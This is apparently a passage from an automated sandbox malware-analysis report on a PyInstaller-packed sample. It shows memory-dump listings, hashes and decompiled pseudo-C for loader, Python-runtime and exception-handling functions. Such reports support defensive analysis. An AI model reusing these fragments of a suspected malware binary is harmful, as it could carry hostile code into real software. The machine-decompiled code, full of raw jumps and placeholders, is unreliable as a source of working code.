                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide_errno$FileFind$ErrorFirstLastNextfreemallocmemset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3372420414-0
                                                                                                                              • Opcode ID: b84a2f744cee5a13916b1079a4c81b9897484e08d179ab741295abe408a7cb8c
                                                                                                                              • Instruction ID: 7a045136432cf2b6996e8752433c57d7bf67a38b1a4551f57d3ca4839f3207a7
                                                                                                                              • Opcode Fuzzy Hash: b84a2f744cee5a13916b1079a4c81b9897484e08d179ab741295abe408a7cb8c
                                                                                                                              • Instruction Fuzzy Hash: 5EB1C122A09A9686EB108F65D468278B7A0FF48BA4F448235DA7D537D4FF7CE441C374
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7412F0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FFC7FFCFD7412F0(signed int __rbx, signed long long __rdx, long long __rdi, long long __rsi, long long __rbp, long long __r8, signed int __r9, signed long long __r10, long long _a32) {
				long long _v40;
				long long _v48;
				long long _v56;
				signed int _v72;
				signed long long _v248;
				long long _v256;
				long long _v264;
				long long _v272;
				void* _v280;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				intOrPtr _t52;
				intOrPtr _t53;
				signed char _t57;
				signed long long _t86;
				signed long long _t87;
				signed long long _t91;
				signed long long _t92;
				void* _t94;
				signed long long _t101;
				long long _t109;
				long long _t114;
				signed long long _t118;
				void* _t122;
				void* _t123;
				void* _t124;
				signed long long _t125;
				void* _t126;
				intOrPtr _t127;
				void* _t128;

				_t118 = __r10;
				_t114 = __r8;
				_t101 = __rdx;
				_t86 =  *0xfd84f008; // 0xda4bfe61f88d
				_t87 = _t86 ^  &_v280;
				_v72 = _t87;
				E00007FFC7FFCFD741930(_t94, __rdx, _t122, _t124, _t126, _t128);
				_v248 = _t87;
				_t125 = _t87;
				if (_t87 == 0) goto 0xfd74397f;
				_t57 =  *(_t87 + 0x20);
				r15d = _t57;
				r15d = r15d >> 2;
				r15d = r15d & 0x00000007;
				if ((_t57 & 0x00000020) == 0) goto 0xfd7437fe;
				r12d = 0x30;
				r12d =  ==  ? 0x48 : r12d;
				_t123 = _t122 + _t125;
				_t127 =  *((intOrPtr*)(_t125 + 0x10));
				if (_t127 - 0xffffffff > 0) goto 0xfd743969;
				__imp__PyMem_Malloc();
				_v264 = 0xffffffff;
				if (0xffffffff == 0) goto 0xfd743969;
				_a32 = __rbx;
				r10d = 0;
				_v40 = __rbp;
				_v48 = __rsi;
				r8d = 0;
				_v56 = __rdi;
				_v280 = __rbx;
				_v272 = _t114;
				_t18 = _t118 + 1; // 0x2
				if (_t118 - _t127 >= 0) goto 0xfd7414b6;
				if (_t114 > 0) goto 0xfd7416c0;
				if (r15d == 1) goto 0xfd74150b;
				if (r15d != 2) goto 0xfd741757;
				r8d =  *(_t123 + _t118 * 2) & 0x0000ffff;
				_t21 = _t114 - 0x1100; // -4352
				if (_t21 - 0x12 <= 0) goto 0xfd743818;
				_t52 =  *0xfd84f240; // 0x3c
				if (_t52 == 0) goto 0xfd741440;
				r9d = 0;
				if (r8d - _t52 < 0) goto 0xfd741440;
				if (r8d -  *((short*)(_t18 + 0x7ffcfd84f244)) + _t52 <= 0) goto 0xfd74145d;
				r9d = 1;
				_t53 =  *((intOrPtr*)(0x7ffcfd84f240 + _t101 * 8));
				if (_t53 != 0) goto 0xfd741414;
				_t27 = _t118 + 1; // 0x2
				 *(0xffffffff + __rbx * 4) = r8d;
				_t119 = _t27;
				_t91 = __rbx + 1;
				_v280 = _t91;
				goto 0xfd7413c2;
				_t35 = _t119 + 1; // 0x2
				_t109 = _t35;
				_v256 = _t109;
				if ( *((short*)(0x7ffcfd740000 + 0x10f246 + __r9 * 8)) - _t53 + r8d == 0xffffffff) goto 0xfd741444;
				if (r15d != 1) goto 0xfd741515;
				 *(0xffffffff + _t91 * 4) =  *(_t27 + _t123) & 0x000000ff;
				if (_t109 - _t127 < 0) goto 0xfd741529;
				_t92 = _t91 + 1;
				_v280 = _t92;
				goto 0xfd7413c2;
				if (_t92 != _t127) goto 0xfd7416e6;
				__imp__PyMem_Free();
				return E00007FFC7FFCFD7427A0( *(_t27 + _t123) & 0x000000ff,  *((short*)(_t18 + 0x7ffcfd84f244)) + _t52, _v72 ^  &_v280);
			}



































                                                                                                                              0x7ffcfd7412f0
                                                                                                                              0x7ffcfd7412f0
                                                                                                                              0x7ffcfd7412f0
                                                                                                                              0x7ffcfd7412ff
                                                                                                                              0x7ffcfd741306
                                                                                                                              0x7ffcfd741309
                                                                                                                              0x7ffcfd741311
                                                                                                                              0x7ffcfd741316
                                                                                                                              0x7ffcfd74131b
                                                                                                                              0x7ffcfd741321
                                                                                                                              0x7ffcfd741327
                                                                                                                              0x7ffcfd74132a
                                                                                                                              0x7ffcfd74132d
                                                                                                                              0x7ffcfd741331
                                                                                                                              0x7ffcfd741338
                                                                                                                              0x7ffcfd741346
                                                                                                                              0x7ffcfd74134c
                                                                                                                              0x7ffcfd741350
                                                                                                                              0x7ffcfd741353
                                                                                                                              0x7ffcfd741364
                                                                                                                              0x7ffcfd741372
                                                                                                                              0x7ffcfd741378
                                                                                                                              0x7ffcfd741383
                                                                                                                              0x7ffcfd741389
                                                                                                                              0x7ffcfd741391
                                                                                                                              0x7ffcfd741394
                                                                                                                              0x7ffcfd74139e
                                                                                                                              0x7ffcfd7413a6
                                                                                                                              0x7ffcfd7413a9
                                                                                                                              0x7ffcfd7413b8
                                                                                                                              0x7ffcfd7413bd
                                                                                                                              0x7ffcfd7413c2
                                                                                                                              0x7ffcfd7413c9
                                                                                                                              0x7ffcfd7413d4
                                                                                                                              0x7ffcfd7413de
                                                                                                                              0x7ffcfd7413e8
                                                                                                                              0x7ffcfd7413ee
                                                                                                                              0x7ffcfd7413f3
                                                                                                                              0x7ffcfd7413fd
                                                                                                                              0x7ffcfd741403
                                                                                                                              0x7ffcfd74140d
                                                                                                                              0x7ffcfd74140f
                                                                                                                              0x7ffcfd741417
                                                                                                                              0x7ffcfd741426
                                                                                                                              0x7ffcfd74142a
                                                                                                                              0x7ffcfd741435
                                                                                                                              0x7ffcfd74143e
                                                                                                                              0x7ffcfd741440
                                                                                                                              0x7ffcfd741444
                                                                                                                              0x7ffcfd741448
                                                                                                                              0x7ffcfd741450
                                                                                                                              0x7ffcfd741453
                                                                                                                              0x7ffcfd741458
                                                                                                                              0x7ffcfd741466
                                                                                                                              0x7ffcfd741466
                                                                                                                              0x7ffcfd74146c
                                                                                                                              0x7ffcfd741477
                                                                                                                              0x7ffcfd741482
                                                                                                                              0x7ffcfd74148d
                                                                                                                              0x7ffcfd741494
                                                                                                                              0x7ffcfd7414a6
                                                                                                                              0x7ffcfd7414ac
                                                                                                                              0x7ffcfd7414b1
                                                                                                                              0x7ffcfd7414d1
                                                                                                                              0x7ffcfd7414da
                                                                                                                              0x7ffcfd74150a

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Mem_$MallocSubtypeType_$DeallocErr_FreeMemory
                                                                                                                              • String ID: 0
                                                                                                                              • API String ID: 4139299733-4108050209
                                                                                                                              • Opcode ID: 556ee1b75b253449a6ab801974990bc94f4f522a89207a7f2870d22e180b8c06
                                                                                                                              • Instruction ID: d937c6d8fd7e342df30b6c5ffbd26a4f7ea38e33899b98d664d1df4ed7c9069c
                                                                                                                              • Opcode Fuzzy Hash: 556ee1b75b253449a6ab801974990bc94f4f522a89207a7f2870d22e180b8c06
                                                                                                                              • Instruction Fuzzy Hash: 66F1D032A0CD7AC1E766AB149024679E3A4FB56746F004137DA6E8A6C8FF3CE441C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD741930 Relevance: 13.9, APIs: 9, Instructions: 435COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Mem_$FreeSubtypeType_$DataErr_FromKindMallocMemoryReallocUnicode_
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3719493655-0
                                                                                                                              • Opcode ID: a1393baf9ed4dd08cfcd5176976b0c5dae31a9ec4d34704da21d5360f0a31b8f
                                                                                                                              • Instruction ID: 898b1949e23de208d9f50d52d9658817c9b8ed005c2560626f3c70aad2d5b21f
                                                                                                                              • Opcode Fuzzy Hash: a1393baf9ed4dd08cfcd5176976b0c5dae31a9ec4d34704da21d5360f0a31b8f
                                                                                                                              • Instruction Fuzzy Hash: 46022672B08D7AC2E726AB14D424679A6A1EB43742F444137DA6E4A7D8FF2CE440C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7430E8 Relevance: 13.6, APIs: 9, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 313767242-0
                                                                                                                              • Opcode ID: d7e82cabd9796a5cc19c6e8637579e4198f8c251196789a756a290bf3cbab7b6
                                                                                                                              • Instruction ID: fc33e93293cd74356f4860b7a2313cea54f4aa04f9771507f2ad500cc0d26af7
                                                                                                                              • Opcode Fuzzy Hash: d7e82cabd9796a5cc19c6e8637579e4198f8c251196789a756a290bf3cbab7b6
                                                                                                                              • Instruction Fuzzy Hash: 78318F72608F95C6EB619F60E8507EEB360FB86345F44443ADA5E4BA98EF38C548C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6760 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8D6760(void* __ecx, void* __edx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, void* __r9, intOrPtr _a8, char _a16, long long _a24, long long _a32, char _a56, signed int _a8248, void* _a8264) {
				void* __rsi;
				void* _t17;
				long _t21;
				void* _t50;
				void* _t60;
				signed long long _t72;
				signed long long _t73;
				intOrPtr _t122;
				void* _t124;
				void* _t126;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t135;

				_t131 = __r9;
				_t74 = __rbx;
				_t50 = __ecx;
				_a24 = __rbx;
				_a32 = __rbp;
				E00007FF77FF7DA8DAD20(0x2060, __rax, _t132, _t133);
				_t127 = _t126 - __rax;
				_t72 =  *0xda90d008; // 0xe3add53f52b8
				_t73 = _t72 ^ _t126 - __rax;
				_a8248 = _t73;
				_t124 = __rdx;
				_t135 = __rcx;
				if (__rdx == 0) goto 0xda8d67eb;
				E00007FF77FF7DA8D6970(_t73, "TMP");
				E00007FF77FF7DA8D6460(__edx, _t73, __rbx, _t124, __r8);
				if (_t73 == 0) goto 0xda8d68bf;
				_t17 = E00007FF77FF7DA8E6604(_t50, _t73, L"TMP", _t73);
				E00007FF77FF7DA8E3FEC(_t50, _t73, _t73, __r8);
				if (_t17 == 0) goto 0xda8d67f0;
				E00007FF77FF7DA8D2770(_t73, "LOADER: Failed to set the TMP environment variable.\n", _t73, __r8, _t131);
				goto 0xda8d6948;
				_t122 = _a8;
				_t21 = GetTempPathW(??, ??);
				0xda8e9054();
				r9d = _t21;
				_t130 = L"_MEI%d";
				E00007FF77FF7DA8D2470(_t73,  &_a16,  &_a56, L"_MEI%d", _t131);
				E00007FF77FF7DA8E72BC(_t131);
				if (E00007FF77FF7DA8D7810(_t73, _t74, _t73) == 0) goto 0xda8d68c6;
				E00007FF77FF7DA8E3FEC(0x1000, _t73,  &_a16, L"_MEI%d");
				if (1 - 5 < 0) goto 0xda8d6820;
				if (_t124 == 0) goto 0xda8d68bf;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t74, _t73, "TMP", _t122, L"_MEI%d");
				if (_t122 == 0) goto 0xda8d68a9;
				r8d = 0;
				_t119 = _t73;
				E00007FF77FF7DA8D79A0(_t73, _t74, _t73, _t122, _t122, L"_MEI%d");
				E00007FF77FF7DA8E6604(0, _t73, _t73, _t73);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, L"_MEI%d");
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, L"_MEI%d");
				E00007FF77FF7DA8E3FEC(0, _t122, _t73, L"_MEI%d");
				goto 0xda8d6948;
				SetEnvironmentVariableW(??, ??);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				goto 0xda8d6948;
				r8d = 0x1000;
				E00007FF77FF7DA8D7AB0(_t60, _t73, _t135, _t73, _t122, _t124, _t130);
				E00007FF77FF7DA8E3FEC(0, _t73, _t119, _t130);
				if (_t124 == 0) goto 0xda8d6943;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t73, _t119, "TMP", _t122, _t130);
				if (_t122 == 0) goto 0xda8d692d;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t73, _t119, _t122, _t122, _t130);
				E00007FF77FF7DA8E6604(0, _t73, _t73, _t73);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				goto 0xda8d693e;
				SetEnvironmentVariableW(??, ??);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				return E00007FF77FF7DA8DACF0(1, 0, _a8248 ^ _t127);
			}

















                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6765
                                                                                                                              0x7ff7da8d6773
                                                                                                                              0x7ff7da8d6778
                                                                                                                              0x7ff7da8d677b
                                                                                                                              0x7ff7da8d6782
                                                                                                                              0x7ff7da8d6785
                                                                                                                              0x7ff7da8d678d
                                                                                                                              0x7ff7da8d6790
                                                                                                                              0x7ff7da8d6796
                                                                                                                              0x7ff7da8d679f
                                                                                                                              0x7ff7da8d67aa
                                                                                                                              0x7ff7da8d67b5
                                                                                                                              0x7ff7da8d67c5
                                                                                                                              0x7ff7da8d67cf
                                                                                                                              0x7ff7da8d67d6
                                                                                                                              0x7ff7da8d67df
                                                                                                                              0x7ff7da8d67e6
                                                                                                                              0x7ff7da8d67eb
                                                                                                                              0x7ff7da8d67fa
                                                                                                                              0x7ff7da8d6800
                                                                                                                              0x7ff7da8d6805
                                                                                                                              0x7ff7da8d6808
                                                                                                                              0x7ff7da8d6819
                                                                                                                              0x7ff7da8d682a
                                                                                                                              0x7ff7da8d683c
                                                                                                                              0x7ff7da8d6845
                                                                                                                              0x7ff7da8d684f
                                                                                                                              0x7ff7da8d6854
                                                                                                                              0x7ff7da8d6856
                                                                                                                              0x7ff7da8d6862
                                                                                                                              0x7ff7da8d686a
                                                                                                                              0x7ff7da8d686c
                                                                                                                              0x7ff7da8d6874
                                                                                                                              0x7ff7da8d6877
                                                                                                                              0x7ff7da8d6885
                                                                                                                              0x7ff7da8d688d
                                                                                                                              0x7ff7da8d6895
                                                                                                                              0x7ff7da8d689d
                                                                                                                              0x7ff7da8d68a4
                                                                                                                              0x7ff7da8d68b1
                                                                                                                              0x7ff7da8d68ba
                                                                                                                              0x7ff7da8d68c1
                                                                                                                              0x7ff7da8d68c6
                                                                                                                              0x7ff7da8d68d2
                                                                                                                              0x7ff7da8d68da
                                                                                                                              0x7ff7da8d68e2
                                                                                                                              0x7ff7da8d68e4
                                                                                                                              0x7ff7da8d68f0
                                                                                                                              0x7ff7da8d68f8
                                                                                                                              0x7ff7da8d68fa
                                                                                                                              0x7ff7da8d6905
                                                                                                                              0x7ff7da8d6913
                                                                                                                              0x7ff7da8d691b
                                                                                                                              0x7ff7da8d6923
                                                                                                                              0x7ff7da8d692b
                                                                                                                              0x7ff7da8d6935
                                                                                                                              0x7ff7da8d693e
                                                                                                                              0x7ff7da8d696f

                                                                                                                              APIs
                                                                                                                              • GetTempPathW.KERNEL32(?,00000000,?,00007FF7DA8D672D), ref: 00007FF7DA8D67FA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: GetEnvironmentVariableW.KERNEL32(00007FF7DA8D36C7), ref: 00007FF7DA8D69AA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7DA8D69C7
                                                                                                                                • Part of subcall function 00007FF7DA8E6604: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8E661D
                                                                                                                              • SetEnvironmentVariableW.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF7DA8D68B1
                                                                                                                                • Part of subcall function 00007FF7DA8D2770: MessageBoxW.USER32 ref: 00007FF7DA8D2841
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
                                                                                                                              • String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
                                                                                                                              • API String ID: 3752271684-1116378104
                                                                                                                              • Opcode ID: c23b2c0ee13ef41eab717089866ee2a8f4c2c24d62db4c1be4aa042c79d56fb5
                                                                                                                              • Instruction ID: 5bb38dbb4551eec1dfa33633dc302df26c42e671ab7f9b32d310b4fd9fc8495f
                                                                                                                              • Opcode Fuzzy Hash: c23b2c0ee13ef41eab717089866ee2a8f4c2c24d62db4c1be4aa042c79d56fb5
                                                                                                                              • Instruction Fuzzy Hash: A351AE11F2964788FE56B72299152BED251BF99BD0FC800B3ED0E47797EE2DE5218320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DB5FC Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3140674995-0
                                                                                                                              • Opcode ID: dd2dcb170d6567bc53123a0d73701bc7f87a75e011af16bca6432f566aef9732
                                                                                                                              • Instruction ID: 0650c1f7b5603d4fb26fce2de871b29d64dc747542ea88c3f944cf97d4b79e62
                                                                                                                              • Opcode Fuzzy Hash: dd2dcb170d6567bc53123a0d73701bc7f87a75e011af16bca6432f566aef9732
                                                                                                                              • Instruction Fuzzy Hash: C1315272608B828AFF61AF60E8403EDB364FB94754F84443ADA8E47795DF38D558C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E9A34 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 65%
                                                                                                                              			E00007FF77FF7DA8E9A34(void* __ecx, intOrPtr __edx, long long __rbx, long long __rsi) {
				void* _t36;
				int _t38;
				signed long long _t60;
				long long _t63;
				_Unknown_base(*)()* _t82;
				void* _t86;
				void* _t87;
				void* _t89;
				signed long long _t90;
				struct _EXCEPTION_POINTERS* _t95;

				 *((long long*)(_t89 + 0x10)) = __rbx;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t87 = _t89 - 0x4f0;
				_t90 = _t89 - 0x5f0;
				_t60 =  *0xda90d008; // 0xe3add53f52b8
				 *(_t87 + 0x4e0) = _t60 ^ _t90;
				if (__ecx == 0xffffffff) goto 0xda8e9a73;
				E00007FF77FF7DA8DB5F4(_t36);
				r8d = 0x98;
				E00007FF77FF7DA8DC170();
				r8d = 0x4d0;
				E00007FF77FF7DA8DC170();
				 *((long long*)(_t90 + 0x48)) = _t90 + 0x70;
				_t63 = _t87 + 0x10;
				 *((long long*)(_t90 + 0x50)) = _t63;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t63 == 0) goto 0xda8e9b06;
				 *(_t90 + 0x38) =  *(_t90 + 0x38) & 0x00000000;
				 *((long long*)(_t90 + 0x30)) = _t90 + 0x58;
				 *((long long*)(_t90 + 0x28)) = _t90 + 0x60;
				 *((long long*)(_t90 + 0x20)) = _t87 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t87 + 0x108)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x70)) = __edx;
				 *((long long*)(_t87 + 0xa8)) = _t87 + 0x510;
				 *((long long*)(_t87 - 0x80)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x74)) = r8d;
				_t38 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t82, _t86);
				if (UnhandledExceptionFilter(_t95) != 0) goto 0xda8e9b68;
				if (_t38 != 0) goto 0xda8e9b68;
				if (__ecx == 0xffffffff) goto 0xda8e9b68;
				return E00007FF77FF7DA8DACF0(E00007FF77FF7DA8DB5F4(_t40), __ecx,  *(_t87 + 0x4e0) ^ _t90);
			}













                                                                                                                              0x7ff7da8e9a34
                                                                                                                              0x7ff7da8e9a39
                                                                                                                              0x7ff7da8e9a42
                                                                                                                              0x7ff7da8e9a4a
                                                                                                                              0x7ff7da8e9a51
                                                                                                                              0x7ff7da8e9a5b
